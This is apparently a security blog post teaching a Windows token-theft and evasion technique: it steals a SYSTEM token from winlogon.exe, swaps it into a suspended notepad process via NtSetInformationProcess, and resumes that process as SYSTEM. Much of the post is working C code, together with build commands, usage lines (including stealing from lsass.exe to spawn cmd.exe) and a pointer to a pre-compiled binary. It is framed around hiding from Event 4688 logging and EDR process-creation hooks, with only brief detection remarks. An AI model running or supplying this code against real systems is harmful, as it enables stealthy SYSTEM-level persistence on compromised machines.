Born With a Stolen Soul — Spawning Processes With Swapped Identities via NtSetInformationProcess
How we create a legitimate Windows process, replace its identity before it executes a single instruction, and wake it up as SYSTEM — invisible to most EDR process creation hooks.
Introduction — What Even Is a Token?
Before we get into the exploit, let's build a mental model that sticks.
Every process running on your Windows machine has an identity card stapled to it. Windows calls this card an Access Token. When notepad.exe tries to open a file, it's not notepad asking — it's the token attached to notepad that says "I am DESKTOP\Alice, I belong to the Users group, and I have these specific permissions." The kernel reads that token, checks it against the file's security descriptor, and decides: allow or deny.
The Two Types of Tokens
There are exactly two types of tokens in Windows:
| Type | Who holds it | Analogy | Purpose |
|---|---|---|---|
| Primary Token | A Process | Your passport — permanent, defines who you are | Set at birth, inherited by all threads inside the process. Determines what the process can access. |
| Impersonation Token | A Thread | A visitor badge — temporary, borrowed identity | One thread can pretend to be someone else without changing the process's identity. Used for temporary privilege changes. |
Here's the structural rule that governs everything in this blog:
A thread cannot hold a Primary token in its context, and a process cannot hold an Impersonation token.
The kernel enforces this. They're structurally incompatible — like trying to plug a USB-A cable into a USB-C port. You need an adapter. That adapter is
DuplicateTokenEx, which converts between the two types. You'll see it multiple times in our code.
Why Do Two Types Exist?
Think about a web server. The server process runs as NT AUTHORITY\SYSTEM — its Primary token is the SYSTEM identity. When a client connects and authenticates as DOMAIN\Alice, the server needs to temporarily act as Alice to check if she can access the requested file. But the server doesn't want to become Alice permanently — it needs to go back to being SYSTEM for the next request.
The solution: the server thread grabs an Impersonation token for Alice, does the file check, then drops the impersonation. The process stays SYSTEM. The thread temporarily wore Alice's badge, then took it off.
Attackers reverse this pattern. Instead of a server wearing a less-privileged badge temporarily, an attacker wears a more-privileged badge — stealing SYSTEM's identity and wearing it on their thread.
The Two Things Attackers Do With Tokens
Everything in token manipulation boils down to two moves:
Move 1 — Steal & Wear (Thread-Level Takeover): Open a SYSTEM process → grab its Primary token → convert it to Impersonation → apply it to your thread. Your thread now acts as SYSTEM. The process itself still looks normal from the outside. This is fast, quiet, and temporary.
Move 2 — Steal & Spawn (Process-Level Takeover): Take that stolen token → convert it to Primary → use it to create a brand new process. The new process is permanently SYSTEM. It survives even if you kill the original attacker process.
This blog covers a specific — and the most evasive — variant of Move 2.
What We're Going to Do
Instead of spawning a process with a stolen token (which process creation APIs log and EDR products intercept), we're going to:
Create a clean, legitimate process — like
notepad.exe— using our own boring identityFreeze it before it executes a single instruction using
CREATE_SUSPENDEDSwap its identity with a stolen SYSTEM token via an undocumented kernel API (
NtSetInformationProcess)Resume it — the process wakes up as SYSTEM, with no trace of the swap in creation logs
The process is born legitimate but wakes up as someone else entirely.
We call this the Suspended Process Token Swap, and it's the most advanced token manipulation technique in the Windows attacker's toolkit.
Why Not Just Use CreateProcessAsUserW?
Fair question. The typical way to spawn a process with a stolen token is CreateProcessAsUserW or CreateProcessWithTokenW. Both work, but both have a critical flaw from an attacker's perspective:
The process creation event already contains the stolen identity.
When Windows logs Event ID 4688 (Process Creation), the token information is baked into the event at creation time. EDR products hook CreateProcessAsUserW and see exactly what token you're passing. The entire operation — "here's a token, spawn this process with it" — is a single, observable action.
Traditional approach (detectable):
CreateProcessAsUserW(stolenToken, "cmd.exe")
→ Event 4688 fires with stolenToken's identity
→ EDR sees: "Why is admin spawning cmd.exe as SYSTEM?"
What if we could separate those two steps? Create the process with our own identity, and then later, before it runs any code, silently replace its identity with the stolen one?
Our approach (evasive):
Step 1: CreateProcessW("notepad.exe", CREATE_SUSPENDED) → Event 4688 fires with OUR identity (boring)
Step 2: NtSetInformationProcess(swap token) → No event. Silent.
Step 3: ResumeThread() → Process runs as SYSTEM
That gap between Step 1 and Step 2 is where the evasion lives.
The Kernel's One Exception: Suspended Processes
Here's a structural rule from the Windows kernel:
You cannot hot-swap the primary token of a running process.
Once a process has started executing threads, its primary token is locked. The kernel refuses
NtSetInformationProcesswithSTATUS_ACCESS_DENIEDorSTATUS_NOT_SUPPORTED. This makes sense — imagine swapping the identity of a process that's halfway through a security check. The results would be undefined.
But there's an exception. When you create a process with the CREATE_SUSPENDED flag, the process exists in memory — its address space is set up, its primary thread is created — but no code has executed. The thread is frozen before the very first instruction of ntdll!LdrInitializeThunk. In this state, and only in this state, the kernel permits a primary token swap via NtSetInformationProcess.
The moment you call ResumeThread, the window closes. No more swaps. The process runs with whatever token it has at that point — permanently.
The Complete Attack Flow
Here's the full chain, step by step:
The critical insight: Step 4 creates the process with YOUR identity. Step 5 overwrites it. Any tool that only inspects the creation event sees a normal, boring process launch. The token swap happens in the gap between creation and execution.
The Code — Walking Through Every Line
📁 Full source code and pre-compiled binary: AccessTokenManipulation_NtSetInformationProcess
Part 1: Resolving the Undocumented API
NtSetInformationProcess is not a Win32 API. It lives in ntdll.dll — the low-level native API layer that sits between the Win32 subsystem and the kernel. Microsoft doesn't document it in the Windows SDK. You won't find it in <windows.h>. We have to define its structures ourselves and load it dynamically at runtime.
/* ProcessAccessToken information class = 9 */
#define ProcessAccessToken_InfoClass 9
/* The structure NtSetInformationProcess expects for token swap */
typedef struct _PROCESS_ACCESS_TOKEN {
HANDLE Token; /* The new primary token to assign */
HANDLE Thread; /* The initial thread of the suspended process */
} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;
/* Function signature — matches ntdll's export */
typedef NTSTATUS (NTAPI *pNtSetInformationProcess)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength
);
Three things to notice:
ProcessAccessToken_InfoClass = 9— This is the magic number.NtSetInformationProcesssupports dozens of information classes (for setting priorities, DEP policies, memory limits, etc.). Class 9 is specifically for replacing the primary token.PROCESS_ACCESS_TOKEN— The structure is tiny: just a token handle and a thread handle. The thread handle must point to the initial thread of the suspended process. The kernel uses it to validate that the target process hasn't started execution.NTSTATUSreturn — Native APIs don't useGetLastError(). They return NTSTATUS codes directly.0means success. Negative values mean failure.
At runtime, we resolve the function dynamically:
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtSetInformationProcess NtSetInformationProcess =
(pNtSetInformationProcess)(void*)GetProcAddress(hNtdll, "NtSetInformationProcess");
Why GetModuleHandle instead of LoadLibrary? Because ntdll.dll is always loaded — it's the first DLL mapped into every Windows process. We don't need to load it; it's already there.
Why does this matter for evasion? Because NtSetInformationProcess doesn't appear in our executable's import table. Static analysis tools that scan PE imports won't see it. It only exists as a string resolved at runtime.
Part 2: Enabling the Required Privileges
This technique requires three privileges. Not all are always available, but we attempt all of them:
enable_privilege("SeDebugPrivilege");
enable_privilege("SeAssignPrimaryTokenPrivilege");
enable_privilege("SeIncreaseQuotaPrivilege");
| Privilege | What it unlocks | Who has it |
|---|---|---|
SeDebugPrivilege |
OpenProcess on SYSTEM-level processes like winlogon.exe |
Local Administrators |
SeAssignPrimaryTokenPrivilege |
NtSetInformationProcess with class 9 — the actual token swap |
SYSTEM only (not regular admins) |
SeIncreaseQuotaPrivilege |
Allows the kernel to transition quota limits when switching security contexts | Local Administrators |
Key point: SeAssignPrimaryTokenPrivilege is the blocker. Regular administrators do not have it. This is why this technique is typically chained: you first use thread-level impersonation (steal & wear SYSTEM) to get the privilege, and then execute the suspended token swap from that elevated context.
The enable_privilege function itself is straightforward — open our process token, look up the privilege LUID, flip it to enabled:
static BOOL enable_privilege(const char* privilege_name) {
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tp;
LUID luid;
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValueA(NULL, privilege_name, &luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
return (GetLastError() == ERROR_SUCCESS);
}
Part 3: Stealing the Source Token
We steal a SYSTEM token from winlogon.exe. Why winlogon? Three reasons:
It always runs as
NT AUTHORITY\SYSTEMIt's always present on every Windows system
It's a single-instance process — our PID lookup returns a deterministic result
/* Find the PID using CreateToolhelp32Snapshot */
DWORD pid = find_pid_by_name("winlogon.exe");
/* Open a handle to the process */
HANDLE hSourceProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
/* Extract its primary token */
HANDLE hStolenPrimary = NULL;
OpenProcessToken(hSourceProcess,
TOKEN_DUPLICATE | TOKEN_QUERY,
&hStolenPrimary);
OpenProcessToken always returns a handle to a Primary token — because processes only have primary tokens. The TOKEN_DUPLICATE | TOKEN_QUERY flags give us permission to both inspect the token and create copies of it.
Part 4: Why We Duplicate a Primary Token as... Primary Again
This is the part that trips up a lot of people:
"We already have a Primary token from winlogon — why call
DuplicateTokenExto create another Primary?"
The answer is ownership and kernel reference counting. The token handle from OpenProcessToken is a reference to winlogon's token object in the kernel. We can read it, but we can't assign it to a different process — the kernel would refuse because the handle's access control is tied to the source process.
DuplicateTokenEx creates a new, independent token object that we fully own:
HANDLE hNewPrimary = NULL;
DuplicateTokenEx(
hStolenPrimary, /* Source: winlogon's primary token */
TOKEN_ALL_ACCESS, /* Full access on the new token */
NULL, /* Default security attributes */
SecurityImpersonation, /* Impersonation level embedded in the token */
TokenPrimary, /* Output type: Primary */
&hNewPrimary /* Receives the new, independent token */
);
The SecurityImpersonation parameter might look wrong since we're creating a Primary token — but it's not the token type. It's the impersonation level stored inside the token, which controls how much impersonation the token allows. SecurityImpersonation means "full impersonation rights."
Part 5: Creating the Suspended Process
Now the evasion magic begins. We create our target process — but freeze it before it runs:
STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
CreateProcessW(
NULL, /* Application name */
L"C:\\Windows\\System32\\notepad.exe", /* Command line */
NULL, NULL, /* Security attributes */
FALSE, /* Inherit handles */
CREATE_SUSPENDED | CREATE_NEW_CONSOLE, /* ← THE KEY FLAG */
NULL, NULL, /* Environment, directory */
&si, &pi /* Startup info, process info */
);
After this call:
pi.hProcess— handle to the new processpi.hThread— handle to its initial (and only) threadThe process exists in memory with a full address space
But zero instructions have executed. The thread is frozen at
ntdll!LdrInitializeThunk— before the Windows loader has even started processing DLL imports.
At this point, if you query the suspended process's token using Process Explorer or any API, it shows your current user — the person who created it. Totally normal. Totally boring. Exactly what we want the logs to show.
Part 6: The Token Swap — The Heart of the Technique
Six lines of code. This is the entire attack:
PROCESS_ACCESS_TOKEN tokenInfo;
tokenInfo.Token = hNewPrimary; /* Our stolen SYSTEM token */
tokenInfo.Thread = pi.hThread; /* The initial thread of the suspended process */
NTSTATUS status = NtSetInformationProcess(
pi.hProcess, /* Target: the suspended process */
ProcessAccessToken_InfoClass, /* Information class: 9 */
&tokenInfo, /* Pointer to our PROCESS_ACCESS_TOKEN struct */
sizeof(tokenInfo) /* Size of the structure */
);
If NT_SUCCESS(status) returns true — the swap is done. The suspended process's primary token has been replaced. Its old identity (your user account) is gone. Its new identity (SYSTEM, stolen from winlogon) is in place. No event was logged for this operation.
The kernel validates several things during this call:
| Check | What happens if it fails |
|---|---|
| Process must be suspended (no running threads) | STATUS_NOT_SUPPORTED (0xC00000BB) |
Caller must hold SeAssignPrimaryTokenPrivilege |
STATUS_ACCESS_DENIED (0xC0000022) |
| Token must be a valid Primary token | STATUS_INVALID_PARAMETER |
| Thread handle must be the initial thread | Undefined behavior / access denied |
Our code handles these failures gracefully — if the swap fails, we terminate the orphaned suspended process instead of leaving it hanging:
if (!NT_SUCCESS(status)) {
/* Log the specific NTSTATUS error */
TerminateProcess(pi.hProcess, 1); /* Clean up the orphan */
}
Part 7: Waking Up the Monster
One final call:
ResumeThread(pi.hThread);
The suspended thread starts executing ntdll!LdrInitializeThunk — the Windows loader entry point. It loads DLLs, initializes the C runtime, and eventually reaches WinMain or main. But every single security check from this point forward uses the swapped token.
The process is SYSTEM. It was born as you, but it woke up as SYSTEM.
The before-and-after output makes this crystal clear:
Same process. Same PID. Completely different identity.
Why This Evades Detection
Let's map this against what defenders typically monitor:
| Detection Layer | What it sees | Why B3 evades it |
|---|---|---|
| Event ID 4688 (Process Creation) | Process created by DESKTOP\Alice with CREATE_SUSPENDED |
Token swap happens after this event fires. The log shows the original (boring) identity. |
| EDR Process Creation Callback | Hooks fire at NtCreateUserProcess or PsSetCreateProcessNotifyRoutineEx |
Same — callbacks fire at creation time, before the swap. The token is clean when inspected. |
| Parent-Child Process Tree | notepad.exe spawned by our process |
Looks completely normal. No suspicious cmd.exe spawned by svchost.exe. |
| Process Token Query | After swap, the process token says SYSTEM | Only visible if the EDR re-queries the token after creation — most don't. |
NtSetInformationProcess Hooking |
The specific syscall with information class 9 | This is the real detection point — but very few products hook this specific class. It's rare. |
The gap between "process creation event" and "token swap" is where the evasion lives. Most security products operate on a "check at creation, trust forever" model. This technique exploits that trust.
Required Privileges — Who Can Actually Do This?
This is important and often glossed over:
| Privilege | Regular Admin | SYSTEM | Required for |
|---|---|---|---|
SeDebugPrivilege |
✅ | ✅ | Opening winlogon.exe's process handle |
SeAssignPrimaryTokenPrivilege |
❌ | ✅ | The NtSetInformationProcess swap call |
SeIncreaseQuotaPrivilege |
✅ | ✅ | Quota transition during token switch |
Practical implication: You typically need to be SYSTEM already to perform this technique. That makes it a persistence and evasion technique, not a privilege escalation technique.
The typical attack chain:
1. Get admin access (initial compromise)
2. Steal & Wear SYSTEM on your thread (thread-level impersonation)
3. From SYSTEM context → execute this technique to spawn a clean-looking
process that permanently runs as SYSTEM
The value isn't in getting SYSTEM — you already have it. The value is in getting a SYSTEM process that looks legitimate — clean parent-child tree, clean creation event, legitimate binary. Much harder to attribute to the attacker.
Building and Running
Cross-Compile from Linux (MinGW)
x86_64-w64-mingw32-gcc -O2 -o B3_suspended_swap.exe suspended_swap.c \
-ladvapi32 -lkernel32 -municode
📦 Or grab the pre-compiled exe directly from the repository.
Usage
# Default: steal from winlogon.exe → spawn notepad.exe as SYSTEM
.\B3_suspended_swap.exe
# Custom: steal from lsass.exe → spawn cmd.exe as SYSTEM
.\B3_suspended_swap.exe lsass.exe "C:\Windows\System32\cmd.exe"
The Bigger Picture — Token Manipulation Technique Family
This technique doesn't exist in isolation. It's part of a family of token manipulation techniques, each serving different purposes:
| Technique | What it does | Trade-off |
|---|---|---|
| A1 — Steal & Impersonate | Thread-level identity theft via SetThreadToken |
Fast & simple, but temporary (thread-only) |
| A2 — Privilege Reduction | Strip your own privileges for sandboxing | Defensive/legitimate use |
B1 — CreateProcessAsUserW |
Spawn process with stolen Primary token | Works, but token visible in creation event |
B2 — CreateProcessWithTokenW |
Let seclogon service handle conversion |
Simpler, but depends on Secondary Logon service |
| B3 — Suspended Token Swap (this blog) | Swap frozen process identity via NtSetInformationProcess |
Maximum evasion — creation event is clean |
Conclusion
The Suspended Process Token Swap via NtSetInformationProcess exploits a fundamental gap in how Windows and most security products handle process creation: they trust the identity established at creation time and don't re-check it afterward.
By separating process creation from identity assignment — using the CREATE_SUSPENDED window — an attacker can birth a process that looks legitimate in every log and every EDR callback, but wakes up running as SYSTEM.
The technique is powerful but not without constraints:
It requires
SeAssignPrimaryTokenPrivilege(SYSTEM-level), making it a post-exploitation evasion tool, not an initial escalation pathThe detection surface exists for teams that monitor
NtSetInformationProcesswith information class 9EDR products that re-query process tokens after creation callbacks can catch the mismatch
What's Next — Part 2: The Seclogon Way
In the next part of this series, we'll explore CreateProcessWithTokenW and the Secondary Logon service — a fundamentally different approach. Instead of manually swapping tokens on a suspended process, CreateProcessWithTokenW delegates the entire Primary token conversion to a built-in Windows service (seclogon). It operates at a lower privilege bar (no SeAssignPrimaryTokenPrivilege needed), accepts Impersonation tokens directly, and is significantly simpler to implement. But it introduces its own detection surface through the Secondary Logon service interaction and leaves a different forensic footprint.
We'll walk through the code, compare the trade-offs against the NtSetInformationProcess approach, and show when each technique is the better choice.
Stay tuned.
MITRE ATT&CK References:
T1134.002 — Access Token Manipulation: Create Process with Token
T1055.012 — Process Injection: Process Hollowing (shares the
CREATE_SUSPENDEDabuse pattern)



